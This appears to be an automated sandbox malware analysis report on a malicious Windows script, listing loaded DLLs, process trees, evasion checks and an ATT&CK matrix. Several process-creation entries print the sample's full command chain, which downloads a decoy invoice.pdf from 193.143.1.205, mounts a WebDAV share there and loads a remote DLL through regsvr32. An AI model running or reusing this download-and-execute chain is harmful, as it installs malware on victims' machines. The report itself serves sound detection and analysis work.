Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3129.js.csv");ITextStream.WriteLine(" entry:8426 f:ywocznvr");ITextStream.WriteLine(" exec:2 f:ywocznvr");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4879			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4579			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4564	Thread sleep count: 4879 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4564	Thread sleep count: 4579 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6644	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6656	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5880	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2360	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6496	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7436	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000003.2121440446.000001695C9D7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3334799712.0000021CA9E2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3336226250.0000021CAF653000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.2122941360.000001695C978000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6391729318930.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6391729318930.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6391729318930.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6391729318930.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6391729318930.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
